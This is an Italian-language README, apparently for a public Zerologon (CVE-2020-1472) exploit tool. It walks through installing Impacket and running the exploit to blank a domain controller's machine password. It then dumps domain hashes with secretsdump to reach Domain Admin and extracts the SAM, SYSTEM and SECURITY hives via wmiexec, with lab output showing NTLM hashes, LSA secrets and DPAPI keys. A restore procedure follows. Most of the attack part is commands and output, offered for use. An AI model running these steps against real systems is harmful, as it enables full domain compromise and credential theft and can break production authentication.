
Codice exploit per CVE-2020-1472 alias Zerologon
Controllo e Codice Exploit per CVE-2020-1472 noto anche come Zerologon
Verifica se un controller di dominio è vulnerabile all'attacco Zerologon; se vulnerabile, reimposta la password dell'account del controller di dominio a una stringa vuota.
NOTA: È probabile che rompa cose negli ambienti di produzione (es. funzionalità DNS, comunicazione con controller di dominio di replica, ecc.); i client target non saranno più in grado di autenticarsi al dominio, e potranno essere risincronizzati solo tramite azione manuale. Se vuoi saperne di più su come l'attacco Zerologon rompe le cose, grazie all'ottimo lavoro di @_dirkjan, puoi leggerlo QUI
Zerologon ricerca originale e whitepaper di Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon
Tenterà di eseguire il bypass dell'autenticazione Netlogon. Quando un controller di dominio è stato aggiornato, lo script di rilevamento si arrenderà dopo aver inviato 2000 coppie di chiamate RPC, concludendo che il target non è vulnerabile (con una probabilità di falso negativo dello 0,04%).
L'exploit avrà successo solo se il controller di dominio utilizza la password memorizzata in Active Directory per convalidare il tentativo di accesso, piuttosto che quella memorizzata localmente, poiché cambiando la password in questo modo, essa viene modificata solo nell'AD. Il sistema target stesso conserverà comunque la sua password originale localmente.
Richiede Python 3.7 o superiore, virtualenv, pip e una versione modificata della libreria Impacket: nrpc.py (/impacket/dcerpc/v5) l'ultima versione di impacket da GitHub con l'aggiunta delle strutture netlogon.
git clone https://github.com/SecureAuthCorp/impacketcd impacketpwd
~/impacket/
virtualenv --python=python3 impacketsource impacket/bin/activatepip install --upgrade pippip install .~/impacket/
cd examplesgit clone https://github.com/VoidSec/CVE-2020-1472cd CVE-2020-1472pip install -r requirements.txtLo script può essere utilizzato per colpire un DC o un DC di backup. Funzionerà probabilmente anche contro un DC di sola lettura, ma non è stato ancora testato.
Il nome del DC deve essere il suo nome computer NetBIOS. Se questo nome non è corretto, lo script probabilmente fallirà con un errore STATUS_INVALID_COMPUTER_NAME.
Dato un controller di dominio chiamato EXAMPLE-DC e l'indirizzo IP 1.2.3.4, esegui lo script come segue:
./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4Eseguendo lo script si dovrebbe ottenere la reimpostazione della password dell'account del controller di dominio a una stringa vuota.
A questo punto dovresti essere in grado di eseguire secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR di Impacket (in alternativa puoi usare l'hash vuoto: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0) che estrarrà solo i dati NTDS.DIT (hash NTLM e chiavi Kerberos).
Il che dovrebbe darti i privilegi di Amministratore di Dominio. VINCERE VINCERE VINCERE
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.
> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM
0000 55 A7 DF DF 27 E2 64 C1 F7 42 F2 1B 96 76 01 4F U...'.d..B...v.O
0010 24 4C 5D 9B 20 E3 EA 95 DD E9 61 0F 00 8E B2 51 $L]. .....a....Q
0020 B1 79 3F E0 37 3E CB B2 95 31 A6 74 F3 35 54 8A .y?.7>...1.t.5T.
0030 C1 B6 70 3D B3 AB AC C1 7E 8E 90 7A 7B 49 32 46 ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up...
> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
Reinstallare l'hash della password originale è necessario affinché il DC continui a funzionare normalmente.
Dopo aver ottenuto i privilegi di Amministratore di Dominio, puoi usare wmiexec.py sul DC target con una credenziale ottenuta da secretsdump ed eseguire i seguenti passaggi:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
Esegui: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
E questo dovrebbe mostrarti l'hash NT originale dell'account macchina. Puoi quindi reinstallare l'hash originale dell'account macchina nel dominio usando lo script reinstall_original_pw.py fornito qui. A volte è necessario più di un tentativo prima che abbia successo.
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
In alternativa puoi usare il seguente processo di ripristino